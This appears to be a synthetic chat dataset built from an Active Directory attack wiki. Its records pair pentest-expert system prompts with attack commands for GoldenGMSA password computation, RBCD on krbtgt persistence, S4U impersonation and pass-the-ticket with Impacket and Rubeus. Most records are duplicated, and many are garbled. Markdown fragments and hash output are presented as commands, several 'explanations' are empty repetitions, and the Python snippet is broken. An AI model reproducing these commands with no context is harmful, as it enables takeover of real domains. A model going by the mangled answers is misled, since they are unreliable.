[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the GoldenGMSA.exe command for goldengmsa - password calculation

[Assistant] GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the GoldenGMSA.exe command for goldengmsa - password calculation

Response: GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform GoldenGMSA - Password calculation?

[Assistant] GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform GoldenGMSA - Password calculation?

Response: GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"`?

[Assistant] This command is used for goldengmsa - password calculation. Password calculation

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"`?

Response: This command is used for goldengmsa - password calculation. Password calculation


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use import for goldengmsa - password calculation?

[Assistant]
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use import for goldengmsa - password calculation?

Response:
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do GoldenGMSA - Password calculation

[Assistant]
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do GoldenGMSA - Password calculation

Response:
import base64
import hashlib

b64 = input("Password Base64: ")

print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `import base64`?

[Assistant] This command is used for goldengmsa - password calculation. Password calculation

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `import base64`?

Response: This command is used for goldengmsa - password calculation. Password calculation


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the python3 command to goldengmsa - password calculation

[Assistant] python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the python3 command to goldengmsa - password calculation

Response: python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on GoldenGMSA - Password calculation

[Assistant] python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on GoldenGMSA - Password calculation

Response: python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID`?

[Assistant] This command is used for goldengmsa - password calculation. Password calculation

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID`?

Response: This command is used for goldengmsa - password calculation. Password calculation


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the python3 command to goldengmsa - password calculation

[Assistant] python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute GoldenGMSA - Password calculation?

[Assistant] python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute GoldenGMSA - Password calculation?

Response: python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."`?

[Assistant] This command is used for goldengmsa - password calculation. Password calculation

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."`?

Response: This command is used for goldengmsa - password calculation. Password calculation


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the NT command for goldengmsa - password calculation

[Assistant]
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the NT command for goldengmsa - password calculation

Response:
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out GoldenGMSA - Password calculation during a pentest?

[Assistant]
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out GoldenGMSA - Password calculation during a pentest?

Response:
NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format:  aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30`?

[Assistant] This command is used for goldengmsa - password calculation. Password calculation

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `NT hash:     1c368c74ef1bcbd4892c95a8d6de0f30`?

Response: This command is used for goldengmsa - password calculation. Password calculation


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Delegation to KRBTGT - Theory work?

[Assistant]
The idea behind this technique is to configure resource-based constrained delegation on the krbtgt account to generate TGTs on-demand as a persistence technique. The requirements for the technique are to have enough privileges (i.e. domain admin rights) to edit the krbtgt account's "rbcd" attribute (i.e. ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity) and to control an account that has an SPN (or create one, or do SPN-less RBCD).

Once the delegation is configured, an attacker can later on obtain a service ticket for the krbtgt on behalf of any user.

Since a TGT is just a Service Ticket for the KRBTGT service, it means the attacker has a persistence technique allowing him to obtain a TGT for almost any user in the domain. The only limitations are the "Protected Users" group, or the "Account is sensitive and cannot be delegated" parameter. Those settings can protect users from delegation and will prevent attackers from obtaining a ticket that looks like a TGT on their behalf through a delegation trick.

An example of the abuse goes as follows :

1. Configure RBCD delegation on the krbtgt account to allow a controlled account to delegate to it. The controlled account should have at least one SPN (i.e. ServicePrincipalName) for the delegation to work (or, see SPN-less RBCD). This controlled account will be called "ControlledAccountWithSPN".
2. Perform a full S4U attack to obtain a Service Ticket for the krbtgt service, on behalf of another privileged user. Let's call this chosen user "TargetedAccount". The ticket obtained through this process is for the KRBTGT service, which basically means the ticket can be used as a TGT for the TargetedAccount.
3. Pass-the-ticket to use the Service-Ticket-that-is-in-fact-a-TGT, act as the target -privileged- user, and authenticate to remote resources.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Delegation to KRBTGT - Theory work?

Response:
The idea behind this technique is to configure resource-based constrained delegation on the krbtgt account to generate TGTs on-demand as a persistence technique. The requirements for the technique are to have enough privileges (i.e. domain admin rights) to edit the krbtgt account's "rbcd" attribute (i.e. ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity) and to control an account that has an SPN (or create one, or do SPN-less RBCD).

Once the delegation is configured, an attacker can later on obtain a service ticket for the krbtgt on behalf of any user.

Since a TGT is just a Service Ticket for the KRBTGT service, it means the attacker has a persistence technique allowing him to obtain a TGT for almost any user in the domain. The only limitations are the "Protected Users" group, or the "Account is sensitive and cannot be delegated" parameter. Those settings can protect users from delegation and will prevent attackers from obtaining a ticket that looks like a TGT on their behalf through a delegation trick.

An example of the abuse goes as follows :

1. Configure RBCD delegation on the krbtgt account to allow a controlled account to delegate to it. The controlled account should have at least one SPN (i.e. ServicePrincipalName) for the delegation to work (or, see SPN-less RBCD). This controlled account will be called "ControlledAccountWithSPN".
2. Perform a full S4U attack to obtain a Service Ticket for the krbtgt service, on behalf of another privileged user. Let's call this chosen user "TargetedAccount". The ticket obtained through this process is for the KRBTGT service, which basically means the ticket can be used as a TGT for the TargetedAccount.
3. Pass-the-ticket to use the Service-Ticket-that-is-in-fact-a-TGT, act as the target -privileged- user, and authenticate to remote resources.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Delegation to KRBTGT - Theory?

[Assistant]
The idea behind this technique is to configure resource-based constrained delegation on the krbtgt account to generate TGTs on-demand as a persistence technique. The requirements for the technique are to have enough privileges (i.e. domain admin rights) to edit the krbtgt account's "rbcd" attribute (i.e. ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity) and to control an account that has an SPN (or create one, or do SPN-less RBCD).

Once the delegation is configured, an attacker can later on obtain a service ticket for the krbtgt on behalf of any user.

Since a TGT is just a Service Ticket for the KRBTGT service, it means the attacker has a persistence technique allowing him to obtain a TGT for almost any user in the domain. The only limitations are the "Protected Users" group, or the "Account is sensitive and cannot be delegated" parameter. Those settings can protect users from delegation and will prevent attackers from obtaining a ticket that looks like a TGT on their behalf through a delegation trick.

An example of the abuse goes as follows :

1. Configure RBCD delegation on the krbtgt account to allow a controlled account to delegate to it. The controlled account should have at least one SPN (i.e. ServicePrincipalName) for the delegation to work (or, see SPN-less RBCD). This controlled account will be called "ControlledAccountWithSPN".
2. Perform a full S4U attack to obtain a Service Ticket for the krbtgt service, on behalf of another privileged user. Let's call this chosen user "TargetedAccount". The ticket obtained through this process is for the KRBTGT service, which basically means the ticket can be used as a TGT for the TargetedAccount.
3. Pass-the-ticket to use the Service-Ticket-that-is-in-fact-a-TGT, act as the target -privileged- user, and authenticate to remote resources.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Delegation to KRBTGT - Theory?

Response:
The idea behind this technique is to configure resource-based constrained delegation on the krbtgt account to generate TGTs on-demand as a persistence technique. The requirements for the technique are to have enough privileges (i.e. domain admin rights) to edit the krbtgt account's "rbcd" attribute (i.e. ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity) and to control an account that has an SPN (or create one, or do SPN-less RBCD).

Once the delegation is configured, an attacker can later on obtain a service ticket for the krbtgt on behalf of any user.

Since a TGT is just a Service Ticket for the KRBTGT service, it means the attacker has a persistence technique allowing him to obtain a TGT for almost any user in the domain. The only limitations are the "Protected Users" group, or the "Account is sensitive and cannot be delegated" parameter. Those settings can protect users from delegation and will prevent attackers from obtaining a ticket that looks like a TGT on their behalf through a delegation trick.

An example of the abuse goes as follows :

1. Configure RBCD delegation on the krbtgt account to allow a controlled account to delegate to it. The controlled account should have at least one SPN (i.e. ServicePrincipalName) for the delegation to work (or, see SPN-less RBCD). This controlled account will be called "ControlledAccountWithSPN".
2. Perform a full S4U attack to obtain a Service Ticket for the krbtgt service, on behalf of another privileged user. Let's call this chosen user "TargetedAccount". The ticket obtained through this process is for the KRBTGT service, which basically means the ticket can be used as a TGT for the TargetedAccount.
3. Pass-the-ticket to use the Service-Ticket-that-is-in-fact-a-TGT, act as the target -privileged- user, and authenticate to remote resources.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Delegation to KRBTGT - Practice work?

[Assistant]
::: tabs

=== UNIX-like

Every step of this attack can be achieved using one of the following scripts from Impacket (Python), such as rbcd.py and getST.py.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Delegation to KRBTGT - Practice work?

Response:
::: tabs

=== UNIX-like

Every step of this attack can be achieved using one of the following scripts from Impacket (Python), such as rbcd.py and getST.py.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Delegation to KRBTGT - Practice?

[Assistant]
::: tabs

=== UNIX-like

Every step of this attack can be achieved using one of the following scripts from Impacket (Python), such as rbcd.py and getST.py.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Delegation to KRBTGT - Practice?

Response:
::: tabs

=== UNIX-like

Every step of this attack can be achieved using one of the following scripts from Impacket (Python), such as rbcd.py and getST.py.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt in the context of penetration testing

[Assistant] rbcd.py -delegate-from 'ControlledAccountWithSPN' -delegate-to 'krbtgt' -dc-ip $dcIp -action write 'DOMAIN'/'PrivilegiedAccount':'StrongPassword'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt in the context of penetration testing

Response: rbcd.py -delegate-from 'ControlledAccountWithSPN' -delegate-to 'krbtgt' -dc-ip $dcIp -action write 'DOMAIN'/'PrivilegiedAccount':'StrongPassword'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt

[Assistant] rbcd.py -delegate-from 'ControlledAccountWithSPN' -delegate-to 'krbtgt' -dc-ip $dcIp -action write 'DOMAIN'/'PrivilegiedAccount':'StrongPassword'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt

Response: rbcd.py -delegate-from 'ControlledAccountWithSPN' -delegate-to 'krbtgt' -dc-ip $dcIp -action write 'DOMAIN'/'PrivilegiedAccount':'StrongPassword'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Step 2 : S4U attack for TargetedAccount to ControlledAccountWithSPN?

[Assistant] getST.py -spn "KRBTGT" -impersonate "TargetedAccount" -dc-ip $dcIp 'DOMAIN'/'ControlledAccountWithSPN':'PasswordOfControlledAccountWithSPN'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Step 2 : S4U attack for TargetedAccount to ControlledAccountWithSPN?

Response: getST.py -spn "KRBTGT" -impersonate "TargetedAccount" -dc-ip $dcIp 'DOMAIN'/'ControlledAccountWithSPN':'PasswordOfControlledAccountWithSPN'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Step 2 : S4U attack for TargetedAccount to ControlledAccountWithSPN

[Assistant] getST.py -spn "KRBTGT" -impersonate "TargetedAccount" -dc-ip $dcIp 'DOMAIN'/'ControlledAccountWithSPN':'PasswordOfControlledAccountWithSPN'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Step 2 : S4U attack for TargetedAccount to ControlledAccountWithSPN

Response: getST.py -spn "KRBTGT" -impersonate "TargetedAccount" -dc-ip $dcIp 'DOMAIN'/'ControlledAccountWithSPN':'PasswordOfControlledAccountWithSPN'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).?

[Assistant]
KRB5CCNAME='TargetedAccount@krbtgt_DOMAIN@DOMAIN.ccache' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN'/'TargetedAccount'
``

=== Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).?

Response:
KRB5CCNAME='TargetedAccount@krbtgt_DOMAIN@DOMAIN.ccache' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN'/'TargetedAccount'
``

=== Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).?

[Assistant]
KRB5CCNAME='TargetedAccount@krbtgt_DOMAIN@DOMAIN.ccache' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN'/'TargetedAccount'
``

=== Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).?

Response:
KRB5CCNAME='TargetedAccount@krbtgt_DOMAIN@DOMAIN.ccache' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN'/'TargetedAccount'
``

=== Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).?

[Assistant]
=== Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).?

Response:
=== Windows

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for step 3 : get service ticket for targetedaccount to the target service using the previously obtained ticket (which is a tgt).. Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for step 3 : get service ticket for targetedaccount to the target service using the previously obtained ticket (which is a tgt).. Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt

[Assistant] Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount ControlledAccountWithSPN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt

Response: Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount ControlledAccountWithSPN


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt

[Assistant] Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount ControlledAccountWithSPN

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount ControlledAccountWithSPN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Step 2 : Full S4U for TargetedAccount to krbtgt using ControlledAccountWithSPN?

[Assistant] Rubeus.exe s4u /nowrap /impersonateuser:"TargetedAccount" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"ControlledAccountWithSPN" /rc4:$NThash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Step 2 : Full S4U for TargetedAccount to krbtgt using ControlledAccountWithSPN?

Response: Rubeus.exe s4u /nowrap /impersonateuser:"TargetedAccount" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"ControlledAccountWithSPN" /rc4:$NThash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Step 2 : Full S4U for TargetedAccount to krbtgt using ControlledAccountWithSPN?

[Assistant] Rubeus.exe s4u /nowrap /impersonateuser:"TargetedAccount" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"ControlledAccountWithSPN" /rc4:$NThash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Step 2 : Full S4U for TargetedAccount to krbtgt using ControlledAccountWithSPN?

Response: Rubeus.exe s4u /nowrap /impersonateuser:"TargetedAccount" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"ControlledAccountWithSPN" /rc4:$NThash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (printed in a base64 blob thanks to the /nowrap flag), and inject it in memory using /ptt in order to use the resulting ticket for authentication to remote resources

[Assistant]
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket...." /ptt
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (printed in a base64 blob thanks to the /nowrap flag), and inject it in memory using /ptt in order to use the resulting ticket for authentication to remote resources

Response:
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket...." /ptt
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (printed in a base64 blob thanks to the /nowrap flag), and inject it in memory using /ptt in order to use the resulting ticket for authentication to remote resources?

[Assistant]
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket...." /ptt
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (printed in a base64 blob thanks to the /nowrap flag), and inject it in memory using /ptt in order to use the resulting ticket for authentication to remote resources?

Response:
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket...." /ptt
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Forged tickets

[Assistant]
Silver, Golden, Diamond and Sapphire tickets are similar variants of forged Kerberos tickets, for different purposes and stealth levels, that can be used with pass-the-ticket to access services in an Active Directory domain.

* When one of krbtgt's Kerberos keys is known, a golden ticket (or diamond, or sapphire) attack can be conducted to keep privileged access until that account's password is changed.
